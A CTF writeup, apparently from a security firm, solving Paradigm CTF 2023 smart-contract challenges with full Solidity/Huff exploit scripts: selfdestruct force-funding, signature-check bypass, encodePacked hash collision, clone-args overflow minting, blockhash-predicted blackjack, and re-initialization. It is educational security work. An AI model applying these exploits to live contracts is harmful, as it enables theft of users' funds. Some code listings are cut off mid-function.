Paradigm CTF 2023 Writeup 1/2

Category: Education
7 Nov 2023


Paradigm CTF 2023 Writeup 1/2

Inspex team participated in Paradigm CTF 2023, finishing 17th out of 800+ teams with a total score of 2546.29.

The challenges this year are more realistic; some of them are directly forks or modifications from the actual DeFi platform on the blockchain. Additionally, there are some incredibly creative King of the Hill challenges.

We’re having a great time figuring out these enjoyable yet challenging challenges. The following are the 12 challenges that we have completed:


HELLO WORLD

CHALLENGE: HELLO WORLD
AUTHOR: samczsun
TAGS: helloworld
DESCRIPTION: You know the drill

This challenge is a sanity check challenge that contains a Challenge contract as follows:

Challenge.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Challenge {
    address public immutable TARGET = 0x00000000219ab540356cBB839Cbe05303d7705Fa;

    uint256 public immutable STARTING_BALANCE;

    constructor() {
        STARTING_BALANCE = address(TARGET).balance;
    }

    function isSolved() external view returns (bool) {
        return TARGET.balance > STARTING_BALANCE + 13.37 ether;
    }
}

The objective of this challenge is to make the $ETH balance of the target contract greater than the initial balance at least 13.37 ether. This can be simply done by using selfdestruct() to force a transfer of $ETH to the contract. We used the following forge script to complete this challenge.

HelloWorldSolver.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;

import "forge-std/Script.sol";

contract HelloWorldSolver is Script {
    function run() external {
        uint256 playerPrivateKey = vm.envUint("PLAYER");
        address challengeAddress = vm.envAddress("CHALLENGE");

        vm.startBroadcast(playerPrivateKey);

        new Tmp{value: 13.37 ether + 1}();
        
        vm.stopBroadcast();
    }
}

contract Tmp {
    constructor() payable {
        selfdestruct(payable(0x00000000219ab540356cBB839Cbe05303d7705Fa));
    }
}


BLACK SHEEP

CHALLENGE: BLACK SHEEP
AUTHOR: Yi (@SuplabsYi) at Supremacy (@SupremacyHQ)
TAGS: pwn, huff
DESCRIPTION: https://twitter.com/SuplabsYi/status/1717665382960595251

There is a SimpleBank contract written by huff, that has the withdraw() function implemented as follows. The goal for this challenge is to call the withdraw() function and drain all funds from the contract.

/* Interface */
#define function withdraw(bytes32,uint8,bytes32,bytes32) payable returns ()


#define macro CHECKVALUE() = takes (0) returns (0) {
    callvalue 0x10 gt over jumpi
    0x00 dup1 revert
    over:
        0x00
        0x00
        0x00
        0x00
        callvalue 0x02 mul
        caller
        0xFFFFFFFF
        call
}
#define macro CHECKSIG() = takes (0) returns (1) {
    0x04 calldataload
    0x00 mstore
    0x24 calldataload
    0x20 mstore
    0x44 calldataload
    0x40 mstore
    0x64 calldataload
    0x60 mstore
    0x20
    0x80
    0x80
    0x00
    0x1
    0xFFFFFFFF
    staticcall
    iszero invalidSigner jumpi
    0x80 mload
    0xd8dA6Bf26964AF9D7eed9e03e53415D37AA96044 eq correctSigner jumpi
    end jump

    correctSigner:
        0x00
        end jump
    invalidSigner:
        0x01
        end jump
    end:
}
#define macro WITHDRAW() = takes (0) returns (0){
    CHECKVALUE()
    CHECKSIG()
    iszero iszero noauth jumpi
    0x00 dup1 dup1 dup1
    selfbalance caller
    gas call
    end jump
    noauth:
        0x00 dup1 revert
    end:
}


#define macro MAIN() = takes (0) returns (0) {
    // Identify which function is being called.
    0x00 calldataload 0xE0 shr
    dup1 __FUNC_SIG(withdraw) eq withdrawj jumpi
    callvalue 0x00 lt recieve jumpi

    0x00 0x00 revert

    withdrawj:
        WITHDRAW()
    recieve:
}

From the huff code, when we call withdraw() it will execute the WITHDRAW() function. You can learn basic huff code from docs.huff.sh and try to understand the contract step by step. Or the another way is trying to decompile the deployed huff contract to solidity by using dedaub decompile. After getting the bytecode from the blockchain, we have decompile it into the following solidity contract:

SimpleBank_decompiled.sol

// Decompiled by library.dedaub.com
// 2023.10.28 00:20 UTC

function 0x410e2069(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public payable { 
    require(16 > msg.value);
    v0 = v1 = msg.sender.call().value(msg.value << 1).gas(uint32.max);
    v2 = ecrecover(varg0, varg1, varg2, varg3);
    if (!v2) {
        v0 = v3 = 1;
        // Unknown jump to Block 0x8f. Refer to 3-address code (TAC);
    } else if (0xd8da6bf26964af9d7eed9e03e53415d37aa96044 == MEM[128]) {
        v0 = v4 = 0;
    }
    require(!bool(v0));
    v5 = msg.sender.call().value(this.balance).gas(msg.gas);
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable { 
    if (0x410e2069 == function_selector >> 224) {
        0x410e2069();
    } else {
        assert(0 >= msg.value);
        revert();
    }
}

The withdraw() (0x410e2069) function logic contains the two main tasks. First, the contract will refund the msg.value back as double. However, here is a check that the msg.value must be less than 16. Since the contract initial balance is 10 ether, we cannot use this, which will take forever to drain all funds.

require(16 > msg.value);
    v0 = v1 = msg.sender.call().value(msg.value << 1).gas(uint32.max);

Let’s move on to the next part, which is the signature verification. The following code checks if the signature is not valid; the v0 will be set to 1, and if it is valid and signed from 0xd8da6bf26964af9d7eed9e03e53415d37aa96044, the v0 will be set to 0.

However, in default case where signature is valid even it is signed from any address the v0 will never been set and it previous value is from the first part which is the refund transfer status.

v2 = ecrecover(varg0, varg1, varg2, varg3);
    if (!v2) {
        v0 = v3 = 1;
        // Unknown jump to Block 0x8f. Refer to 3-address code (TAC);
    } else if (0xd8da6bf26964af9d7eed9e03e53415d37aa96044 == MEM[128]) {
        v0 = v4 = 0;
    }
    require(!bool(v0));

With all of these, we can craft the input that would make v0 = 0 by reverting the transfer part and putting any valid signature as an input.

BlackSheepSolver.s.sol

/ SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;

import "forge-std/Script.sol";

contract BlackSheepSolver is Script {
    function run() external {
        uint256 playerPrivateKey = vm.envUint("PLAYER");
        address challengeAddress = vm.envAddress("CHALLENGE");
        Bank bank = Bank(Challenge(challengeAddress).BANK());

        vm.startBroadcast(playerPrivateKey);

        Exploit e = new Exploit();
        e.exp(bank);
        console.log("isSolved:", Challenge(challengeAddress).isSolved());
        
        vm.stopBroadcast();
    }
}

contract Exploit {
    function exp(Bank bank) external {
        // some valid signature
        bank.withdraw(0x0000000000000000000000000000000000000000000000000000000000000000, 28, 0x2cc23f074ec0d40421d95b58b67d667120d0a3d4f8feba6c7c5ff88d1ec3a4cb, 0x18b3e15bac816bb53a075d045632703600c4ee7ef31ff6fdc237362c8b76fd72);
    }
    fallback() payable external {
        if (msg.value == 0) revert();
    }
}

interface Bank {
    function withdraw(bytes32,uint8,bytes32,bytes32) payable external;
}

contract Challenge {
    address public BANK;
    function isSolved() external view returns (bool) {
        return address(BANK).balance == 0;
    }
}


100%

CHALLENGE: 100%
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: Your funds are safe when you use our innovative new payment splitter that ensure that 100% of assets make it to their intended recipients

In this challenge, it has two relevant contracts: Split and SplitWallet. The goal is to drain $ETH from the deployed Split and SplitWallet contracts.

Challenge.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
import "./Split.sol";

contract Challenge {
    Split public immutable SPLIT;

    constructor(Split split) {
        SPLIT = split;
    }

    function isSolved() external view returns (bool) {
        Split.SplitData memory splitData = SPLIT.splitsById(0);

        return address(SPLIT).balance == 0 && address(splitData.wallet).balance == 0;
    }
}

The whole concept of the Split and SplitWallet contracts is to create a Split NFT that can designated a group of users that can withdraw tokens by the pre-defined ratio.
TheSplit contract is a factory for creating a Split NFT. Each new Split NFT will bind with a new SplitWallet contract. The SplitWallet contract is just the token receiver point of each Split. Any users can call the createSplit() function to create their own Split NFT.

Split.sol

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@clones-with-immutable-args/src/ClonesWithImmutableArgs.sol";

import "./SplitWallet.sol";

contract Split is ERC721("Split", "SPLIT") {
    using ClonesWithImmutableArgs for address;

    struct SplitData {
        bytes32 hash;
        SplitWallet wallet;
    }

    SplitWallet private immutable IMPLEMENTATION = new SplitWallet();
    uint256 private immutable SCALE = 1e6;

    uint256 public nextId;

    mapping(uint256 => SplitData) private _splitsById;

    mapping(address => mapping(address => uint256)) public balances;
[...SNIP...]

The SplitWallet contract only has three notable functions, nothing special except they are deployed with clones-with-immutable-args, a really intesting kind of a clone contract👀.

SplitWallet.sol

import "@clones-with-immutable-args/src/Clone.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract SplitWallet is Clone {
    function deposit() external payable {}

    function pullToken(IERC20 token, uint256 amount) external {
        require(msg.sender == _getArgAddress(0));

        if (address(token) == address(0x00)) {
            payable(msg.sender).transfer(amount);
        } else {
            token.transfer(msg.sender, amount);
        }
    }

    function balanceOf(IERC20 token) external view returns (uint256) {
        if (address(token) == address(0x00)) {
            return address(this).balance;
        }

        return token.balanceOf(address(this));
    }
}

Let’s look into our main course on this challenge, the first Split NFT. It assigned to two addresses (spoiler alert: they are not 0xdEaD and 0xbEEF, look closely😉) with 50:50 split proportion. It also had 100 $ETH deposited in the SplitWallet.

Deploy.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-ctf/CTFDeployment.sol";

import "src/Split.sol";
import "src/Challenge.sol";

contract Deploy is CTFDeployment {
    function deploy(address system, address) internal override returns (address challenge) {
        vm.startBroadcast(system);

        Split split = new Split();

        address[] memory addrs = new address[](2);
        addrs[0] = address(0x000000000000000000000000000000000000dEaD);
        addrs[0] = address(0x000000000000000000000000000000000000bEEF);
        uint32[] memory percents = new uint32[](2);
        percents[0] = 5e5;
        percents[1] = 5e5;

        uint256 id = split.createSplit(addrs, percents, 0);

        Split.SplitData memory splitData = split.splitsById(id);
        splitData.wallet.deposit{value: 100 ether}();

        challenge = address(new Challenge(split));

        vm.stopBroadcast();
    }
}

Our goals are to drain from the Split and SplitWallet contracts. The SplitWallet contract can be easily drained by calling the distribute() function on the Split contract with the right parameters. The function will pull the token from the SplitWallet contract to the Split contract and update the withdrawable balances of the addresses on the NFT proportionaly. The user with withdrawable balances can use the withdraw() function to withdraw tokens from the Split contract.

Now the SplitWallet contract is empty dried, but how will we drain the Split contract rightfully.

Split.sol

function _distribute(
    uint256 splitId,
    address[] memory accounts,
    uint32[] memory percents,
    uint32 relayerFee,
    IERC20 token
) private {
    require(_splitsById[splitId].hash == _hashSplit(accounts, percents, relayerFee));

    SplitWallet wallet = _splitsById[splitId].wallet;
    uint256 storedWalletBalance = balances[address(wallet)][address(token)];
    uint256 externalWalletBalance = wallet.balanceOf(token);

    uint256 totalBalance = storedWalletBalance + externalWalletBalance;

    if (msg.sender != ownerOf(splitId)) {
        uint256 relayerAmount = totalBalance * relayerFee / SCALE;
        balances[msg.sender][address(token)] += relayerAmount;
        totalBalance -= relayerAmount;
    }

    for (uint256 i = 0; i < accounts.length; i++) {
        balances[accounts[i]][address(token)] += totalBalance * percents[i] / SCALE;
    }

    if (storedWalletBalance > 0) {
        balances[address(wallet)][address(token)] = 0;
    }

    if (externalWalletBalance > 0) {
        wallet.pullToken(token, externalWalletBalance);
    }
}

The challenge generously gave us 100 $ETH to solve the challenge. The validation in the _distribute() function use the _hashSplit() function to calculate the hash value.

We spotted that the _hashSplit() function use the infamous abi.encodePacked() function to encode the parameter. We really got a pungent smell from the code around here🐶, they are using abi.encodePacked() function to encode two adjacent array data. The abi.encodePacked() function strips the lenght data from an array and leave only the data element. Without the lenght data as the guard rail on each array data, the function can produce same encoded data from different input array data.

Split.sol

function _hashSplit(address[] memory accounts, uint32[] memory percents, uint32 relayerFee)
    internal
    pure
    returns (bytes32)
{
    return keccak256(abi.encodePacked(accounts, percents, relayerFee));
}

This is the result of the abi.encodePacked() function on the first split data.

000000000000000000000000000000000000000000000000000000000000beef // accounts[0] bytes 0-31
0000000000000000000000000000000000000000000000000000000000000000 // accounts[1] bytes 32-63 *The second account is address(0) not 0xbEEF😉
000000000000000000000000000000000000000000000000000000000007a120 // percents[0] bytes 64-95
000000000000000000000000000000000000000000000000000000000007a120 // percents[1] bytes 96-127
00000000                                                         // relayerFee  bytes 128-131

We can send [1 accounts : 3 percents : relayerFee] instead of [2 accounts : 2 percents : relayerFee] into the _hashSplit() function and hash still be as the same.

000000000000000000000000000000000000000000000000000000000000beef // accounts[0] bytes 0-31
0000000000000000000000000000000000000000000000000000000000000000 //*percents[0] bytes 32-63 *Used the last account
000000000000000000000000000000000000000000000000000000000007a120 // percents[1] bytes 64-95
000000000000000000000000000000000000000000000000000000000007a120 // percents[2] bytes 96-127
00000000                                                         // relayerFee  bytes 128-131

Now we can use the last account to be the first account percent value that bypass the restriction that the sum value of the percent of a Split must be exactly 100% (1e6). Moreover the _distribute() function doesn’t check that the lenght of the account array and the percents array must be equal. It is a perfectly good spot for attacking the contact.

The goal to solve the challenge should be as follow:
Drain SplitWallet

  1. call the distribute() function with the valid data of the first Split.

Drain Split

  1. create a Split with following criterias:

    • First account is our wallet (must be an address that we can use to call the withdraw()function)

    • Second account is a number that satisfy following criteria

      • deposited*(percent/1e6) >= 100e18 + deposited ; amoutOut >= amountIn

      • 0 < deposited < 100e18 - gas ; The amount that we can deposit

      • We UsEd A gRaPh (or sage, thyme, pasley anything you prefer) To SoLvE tHeSe CoMpLeX "linear equations"😬.

        Just kidding, with any big numbers (a typical address) should be enough to surpass the amount in the Split contract, just beware of the overflow/underflow. It does not have to be any sophisticated values, unless you want it😎.

    • The percent of both account are any value that sum to 100.

    • The relayerFee is 0.

  2. deposit the chosen amount of $ETH into the new SplitWallet contract.

  3. call the distribute() function on the new Split with only one address in the account array. The second account will be the first element of the percents array.

  4. call the withdraw() function to drain the Split contract

100pSolve.sol

function run() external {
    uint256 playerPrivateKey = vm.envOr("PLAYER", uint256(0xcfe1a47d1dda36b91d969cd217a64080d3df9cb4e5b239bd811c1e510bb3f2f5));
    player = vm.addr(playerPrivateKey);
    challenge = Challenge(0x7B49f67c1E14A215634132f799E1D58f13F2A4b5);

    split = challenge.SPLIT();

    vm.startBroadcast(playerPrivateKey);

    Split.SplitData memory splitData = split.splitsById(0);
    address[] memory addrs = new address[](2);
    addrs[0] = address(0x000000000000000000000000000000000000dEaD); // dead as the name
    addrs[0] = address(0x000000000000000000000000000000000000bEEF); // nothing wrong
    uint32[] memory percents = new uint32[](2);
    percents[0] = 5e5; // 50%
    percents[1] = 5e5; // 50%


    address[] memory myAddrs = new address[](2);
    myAddrs[0] = address(player);
    myAddrs[1] = address(0x00000000000000000000000000000000002Dc6C0); // 3e6 or 300%; quite sophisticated?
    address[] memory myAddrs2 = new address[](1);
    myAddrs2[0] = address(player);
    uint32[] memory myPercents = new uint32[](3);
    myPercents[0] = 3e6; // 300%
    myPercents[1] = 5e5; // 50%
    myPercents[2] = 5e5; // 50%

    split.distribute(0, addrs, percents, 0, IERC20(address(0))); // drain the first SplitWallet

    uint256 myId = split.createSplit(myAddrs, percents, 0); // create a new Split
    Split.SplitData memory mySplit = split.splitsById(myId);
    mySplit.wallet.deposit{value:50 ether}(); // deposit 50 ETH. The 3 times 50 is 150. QUICKMATH
    split.distribute(myId, myAddrs2, myPercents, 0, IERC20(address(0))); // distribute with some twist
    IERC20[] memory token = new IERC20[](1);
    uint256[] memory amount = new uint256[](1);
    token[0] = IERC20(address(0));
    amount[0] = 150 ether;
    split.withdraw(token, amount); // drain the first Split

    console.log(challenge.isSolved());

    vm.stopBroadcast();
}


DAI++

CHALLENGE: DAI++
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: MakerDAO is such a complex codebase, and we all know that larger codebases are more likely to have bugs. I simplified everything, so there shouldn’t be any bugs here

This challenge consists of the following contracts:
AccountManager: Handle open accounts, migrate accounts, and mint or burn stablecoin.
Account: Implementation contract for clone, which will be created upon open account, provides deposit, withdrawal, and collateral health check.
Stablecoin: ERC20, used as stablecoin, can be minted or burned by an authorized address.
SystemConfiguration: Contain getter/setter of systems’ configurations.

The goal of this challenge is minting the stablecoin more than 1_000_000_000_000 tokens. So let’s start by looking at the minting process, to mint stablecoin the following AccountManager.mintStablecoins() must be called.

AccountManager.sol

function mintStablecoins(Account account, uint256 amount, string calldata memo)
    external
    onlyValidAccount(account)
{
    account.increaseDebt(msg.sender, amount, memo);

    Stablecoin(SYSTEM_CONFIGURATION.getStablecoin()).mint(msg.sender, amount);
}

As you can see, the Account.increaseDebt() will be called first before stablecoin minting.

Account.sol

function increaseDebt(address operator, uint256 amount, string calldata memo) external {
    SystemConfiguration configuration = SystemConfiguration(_getArgAddress(0));
    require(configuration.isAuthorized(msg.sender), "NOT_AUTHORIZED");

    require(operator == _getArgAddress(20), "ONLY_ACCOUNT_HOLDER");

    require(isHealthy(0, amount), "NOT_HEALTHY");

    debt += amount;

    emit DebtIncreased(amount, memo);
}

The Account contract is created with clone pattern shown as follows:

AccountManager.sol

function _openAccount(address owner, address[] calldata recoveryAddresses) private returns (Account) {
    Account account = Account(
        SYSTEM_CONFIGURATION.getAccountImplementation().clone(
            abi.encodePacked(SYSTEM_CONFIGURATION, owner, recoveryAddresses.length, recoveryAddresses)
        )
    );

    validAccounts[account] = true;

    return account;
}

In the clone() function implementation, there is a warning that the input data should not exceed 65535 bytes. So what if we try to input recoveryAddresses data that exceeds it?

ClonesWithImmutableArgs.sol

library ClonesWithImmutableArgs {
    error CreateFail();

    /// @notice Creates a clone proxy of the implementation contract, with immutable args
    /// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length
    /// @param implementation The implementation contract to clone
    /// @param data Encoded immutable args
    /// @return instance The address of the created clone
    function clone(address implementation, bytes memory data)
        internal
        returns (address instance)
    {
        // unrealistic for memory ptr or data length to exceed 256 bits
        unchecked {
            uint256 extraLength = 

At first, we would like to overwrite the SYSTEM_CONFIGURATION address in the Account contract to manipulate the configurations. However, we found out that when we create an account with the recoverAddresses parameter as an array of length 2044, the increaseDebt() function implementation will be skipped, and we can call mintStablecoins() without any restriction. So we used the following script to complete this challenge:

DaiPlusPlusSolver.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/SystemConfiguration.sol";
import {Account as Acct} from "../src/Account.sol";
import "../src/AccountManager.sol";

contract DaiPlusPlusSolver is Script {
    function run() external {
        address attacker = address(0x1337);
        uint256 playerPrivateKey = vm.envUint("PLAYER");
        address challengeAddress = vm.envAddress("CHALLENGE");
        Challenge challenge = Challenge(challengeAddress);
        SystemConfiguration systemConfiguration = SystemConfiguration(challenge.SYSTEM_CONFIGURATION());
        AccountManager accountManager = AccountManager(systemConfiguration.getAccountManager());

        vm.startBroadcast(playerPrivateKey);

        address[] memory recoverAddresses = new address[](2044);
        Acct account = accountManager.openAccount(attacker, recoverAddresses);
        accountManager.mintStablecoins(account, 1_000_000_000_000 ether + 1, "hack");
        console.log("isSolved:", challenge.isSolved());

        vm.stopBroadcast();
    }
}


SKILL BASED GAME

CHALLENGE: SKILL BASED GAME
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: Unlike other gambling games, this one is purely a game of skill

This challenge assigns us as players who have to win the BlackJack game repeatedly, draining all the funds in the address 0xA65D59708838581520511d98fB8b5d1F76A96cad from the forked Ethereum mainnet.

In order to solve this challenge, we must play only the game that favors us, since if we lose a single game, we increase the balance of the contract. One way to do that is to “know the cards that will be drawn in advance” so that we can decide which game to play.

Let’s take a look at how the contract deals with the cards. The player has to call the deal() function to play Black Jack. After the deal card is given to the player, the game is checked by the checkGameResult() function.

BlackJack.sol

function deal() public payable {
    if (games[msg.sender].player != 0 && games[msg.sender].state == GameState.Ongoing) {
        throw; // game is already going on
    }

    if (msg.value < minBet || msg.value > maxBet) {
        throw; // incorrect bet
    }

    uint8[] memory houseCards = new uint8[](1);
    uint8[] memory playerCards = new uint8[](2);

    // deal the cards
    playerCards[0] = Deck.deal(msg.sender, 0);
    Deal(true, playerCards[0]);
    houseCards[0] = Deck.deal(msg.sender, 1);
    Deal(false, houseCards[0]);
    playerCards[1] = Deck.deal(msg.sender, 2);
    Deal(true, playerCards[1]);

    games[msg.sender] = Game({
        player: msg.sender,
        bet: msg.value,
        houseCards: houseCards,
        playerCards: playerCards,
        state: GameState.Ongoing,
        cardsDealt: 3,
    });

    checkGameResult(games[msg.sender], false);
}

The card random logic is in the Deck.deal() function. This random logic implementation relies on the block property and some variables, as shown in the following code, which makes it vulnerable and possible to predict the result.

BlackJack.sol

library Deck {
	// returns random number from 0 to 51
	// let's say 'value' % 4 means suit (0 - Hearts, 1 - Spades, 2 - Diamonds, 3 - Clubs)
	//			 'value' / 4 means: 0 - King, 1 - Ace, 2 - 10 - pip values, 11 - Jacket, 12 - Queen

	function deal(address player, uint8 cardNumber) internal returns (uint8) {
		uint b = block.number;
		uint timestamp = block.timestamp;
		return uint8(uint256(keccak256(block.blockhash(b), player, cardNumber, timestamp)) % 52);
	}

	function valueOf(uint8 card, bool isBigAce) internal constant returns (uint8) {
		uint8 value = card / 4;
		if (value == 0 || value == 11 || value == 12) { // Face cards
			return 10;
		}
		if (value == 1 && isBigAce) { // Ace is worth 11
			return 11;
		}
		return value;
	}

	function isAce(uint8 card) internal constant returns (bool) {
		return card / 4 == 1;
	}

	function isTen(uint8 card) internal constant returns (bool) {
		return card / 4 == 10;
	}
}

To solve this challenge, we have to win the Black Jack game until all the funds are drained. We can check whether the Solver contract will win Black Jack by simulating the game with the same logic as the BlackJack contract.

So we have implemented the script, which contains the factory of the BlackJack Solver contract that will only play Black Jack when it wins.

SkillBasedGameSolver.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "../src/Challenge.sol";

interface IBlackJack {
  function hit() external;
  function maxBet() external returns ( uint256 );
  function deal() external payable;
  function games(address) external returns ( address player, uint256 bet, uint8 state, uint8 cardsDealt );
  function getHouseCard(uint8 id) external returns ( uint8 );
  function getHouseCardsNumber () external returns ( uint256 );
  function minBet() external returns ( uint256 );
  function getGameState () external returns ( uint8 );
  function stand() external;
  function getPlayerCard(uint8 id) external returns ( uint8 );
  function getPlayerCardsNumber() external returns ( uint256 );
}

contract SkillBasedGameSolver is Script {
    uint256 deployPrivateKey = vm.envUint("PLAYER");
    Challenge challenge = Challenge(vm.envAddress("CHALLENGE"));
    IBlackJack blackjack = IBlackJack(0xA65D59708838581520511d98fB8b5d1F76A96cad);
    address caller;

    function setUp() public {
        vm.createSelectFork('http://skill-based-game.challenges.paradigm.xyz:8545/b4cb14d0-7a7b-4024-9503-411a53c4dbfd/main');
        caller = vm.addr(deployPrivateKey);
        console.log("caller balance: ", caller.balance / 1 ether);
    }

    function run() public {
        vm.startBroadcast(caller);
        console.log("block no: ", block.number);
        console.log("block timestamp: ", block.timestamp);

        Create2Factory factory = new Create2Factory();
        console.log("factory: ", address(factory));
        payable(factory).transfer(50 ether);

        factory.run();

        console.log("isSolved: ", challenge.isSolved());
        vm.stopBroadcast();
    }

}

contract Solver {
    IBlackJack blackjack = IBlackJack(0xA65D59708838581520511d98fB8b5d1F76A96cad);

    function makeDeal(uint256 betAmount) public payable {
        blackjack.deal{value: betAmount}();
        if (blackjack.getGameState() != 1) {
            blackjack.stand();
        }
    }

    receive() external payable {}
}

contract Create2Factory {
    uint8 BLACKJACK = 21;

    function run() public {
        bytes memory bytecode = type(Solver).creationCode;
        uint8 winner = 0;
        for (uint256 i=0; i<1000; i++) {
            address computedAddr = computeAddress(bytecode, i);

            if (isWin(computedAddr)) {
                winner++;
                console.log("win", i);
                bytes32 salt = bytes32(i);
                address addr = createChildContract(salt, bytecode);
                console.log("addr: ", addr);
                Solver solver = Solver(payable(addr));
                solver.makeDeal{value: 5 ether}(5 ether);
                console.log("balance: ", address(0xA65D59708838581520511d98fB8b5d1F76A96cad).balance / 1 ether);
            }
            else {
                console.log("lose");
            }
            
            if (winner >= 10) {
                break;
            }
        }
    }

    function createChildContract(bytes32 salt, bytes memory initializationCode) public returns (address) {
        address newContract;
        assembly {
            newContract := create2(0, add(initializationCode, 0x20), mload(initializationCode), salt)
            if iszero(extcodesize(newContract)) {
                revert(0, 0)
            }
        }
        return newContract;
    }

    function computeAddress(bytes memory code, uint256 salt) public view returns(address) {
        uint8 prefix = 0xff;
        bytes32 initCodeHash = keccak256(abi.encodePacked(code));

        bytes32 hash = keccak256(abi.encodePacked(prefix, address(this), salt, initCodeHash));
        return address(uint160(uint256(hash)));
    }

    function isWin(address child) public view returns (bool) {
        uint8[] memory houseCards = new uint8[](1);
		uint8[] memory playerCards = new uint8[](2);
        playerCards[0] = random(child, 0);
        houseCards[0] = random(child, 1);
        playerCards[1] = random(child, 2);

        (uint8 playerScore, uint8 playerScoreBig, uint8 houseScore, uint8 houseScoreBig) = checkScore(playerCards, houseCards);
        if (houseScoreBig == BLACKJACK || houseScore == BLACKJACK) {
            return false;
        }
        else {
            if (playerScore == BLACKJACK || playerScoreBig == BLACKJACK) {
                if (isTen(playerCards[0]) || isTen(playerCards[1])) {
                    // Natural blackjack => return x2.5
                    return false; //ignore this case
                } else {
				    // Usual blackjack => return x2
                    return true;
                }
            }
            else {
                if (houseScoreBig < 17) {
                    return false;
                }

                uint8 playerShortage = 0; 
				uint8 houseShortage = 0;

                if (playerScoreBig > BLACKJACK) {
					if (playerScore > BLACKJACK) {
						// HOUSE WON
						return false;
					} else {
						playerShortage = BLACKJACK - playerScore;
					}
				} else {
					playerShortage = BLACKJACK - playerScoreBig;
				}

				if (houseScoreBig > BLACKJACK) {
					if (houseScore > BLACKJACK) {
						// PLAYER WON
						return true;
					} else {
						houseShortage = BLACKJACK - houseScore;
					}
				} else {
					houseShortage = BLACKJACK - houseScoreBig;
				}
				
                // ?????????????????????? почему игра заканчивается?
				if (houseShortage == playerShortage) {
					// TIE
					return false;
				} else if (houseShortage > playerShortage) {
					// PLAYER WON
					return true;
				} else {
					return false;
				}
            }
        }
    }

    function checkScore(uint8[] memory playerCards, uint8[] memory houseCards) internal view returns (uint8, uint8, uint8, uint8) {
        (uint8 playerScore, uint8 playerScoreBig) = calculateScore(playerCards);
        (uint8 houseScore, uint8 houseScoreBig) = calculateScore(houseCards);
        return (playerScore, playerScoreBig, houseScore, houseScoreBig);
    }

    function random(address player, uint8 cardNumber) internal view returns (uint8) {
		uint b = block.number;
		uint timestamp = block.timestamp;
		return uint8(uint256(keccak256(abi.encodePacked(blockhash(b), player, cardNumber, timestamp))) % 52);
	}

    function calculateScore(uint8[] memory cards) internal pure returns (uint8, uint8) {
		uint8 score = 0;
		uint8 scoreBig = 0; // in case of Ace there could be 2 different scores
		bool bigAceUsed = false;
		for (uint i = 0; i < cards.length; ++i) {
			uint8 card = cards[i];
			if (isAce(card) && !bigAceUsed) { // doesn't make sense to use the second Ace as 11, because it leads to the losing
				scoreBig += valueOf(card, true);
				bigAceUsed = true;
			} else {
				scoreBig += valueOf(card, false);
			}
			score += valueOf(card, false);
		}
		return (score, scoreBig);
	}

    function valueOf(uint8 card, bool isBigAce) internal pure returns (uint8) {
		uint8 value = card / 4;
		if (value == 0 || value == 11 || value == 12) { // Face cards
			return 10;
		}
		if (value == 1 && isBigAce) { // Ace is worth 11
			return 11;
		}
		return value;
	}

    function isAce(uint8 card) internal pure returns (bool) {
		return card / 4 == 1;
	}

    function isTen(uint8 card) internal pure returns (bool) {
		return card / 4 == 10;
	}

    receive() external payable {}
}


DODONT

CHALLENGE: DODONT
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: Sometimes all it takes is knowing where to look

This challenge fork form the Ethereum mainnet, the objective of this challenge is drain all fund from the DVM contract which is deploy with clone pattern from the implementation at 0x2BBD66fC4898242BDBD2583BBe1d76E8b8f71445.

First, let’s take a look at the DVM implementation contract (https://etherscan.io/address/0x2BBD66fC4898242BDBD2583BBe1d76E8b8f71445#code). DVM contract is a DODO Vending Machine that is designed to sell tokens without large initial liquidity requirements. Since it is a clone pattern, we will first look at the init() function.

DVM.sol

/**
 * @title DODO VendingMachine
 * @author DODO Breeder
 *
 * @notice DODOVendingMachine initialization
 */
contract DVM is DVMTrader, DVMFunding {
    function init(
        address maintainer,
        address baseTokenAddress,
        address quoteTokenAddress,
        uint256 lpFeeRate,
        address mtFeeRateModel,
        uint256 i,
        uint256 k,
        bool isOpenTWAP
    ) external {
        require(baseTokenAddress != quoteTokenAddress, "BASE_QUOTE_CAN_NOT_BE_SAME");
        _BASE_TOKEN_ = IERC20(baseTokenAddress);
        _QUOTE_TOKEN_ = IERC20(quoteTokenAddress);

        require(i > 0 && i <= 10**36);
        _I_ = i;

        require(k <= 10**18);
        _K_ = k;

        _LP_FEE_RATE_ = lpFeeRate;
        _MT_FEE_RATE_MODEL_ = IFeeRateModel(mtFeeRateModel);
        _MAINTAINER_ = maintainer;

        _IS_OPEN_TWAP_ = isOpenTWAP;
        if(isOpenTWAP) _BLOCK_TIMESTAMP_LAST_ = uint32(block.timestamp % 2**32);

        string memory connect = "_";
        string memory suffix = "DLP";

        name = string(abi.encodePacked(suffix, connect, addressToShortString(address(this))));
        symbol = "DLP";
        decimals = _BASE_TOKEN_.decimals();

        // ============================== Permit ====================================
        uint256 chainId;
        assembly {
            chainId := chainid()
        }
        DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
                0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f,
                keccak256(bytes(name)),
                keccak256(bytes("1")),
                chainId,
                address(this)
            )
        );
        // ==========================================================================
    }

We noticed that the init() function can be re-executed to re-initialize the contract. This contract also serves the flashloan service as follows:

DVM.sol

function flashLoan(
    uint256 baseAmount,
    uint256 quoteAmount,
    address assetTo,
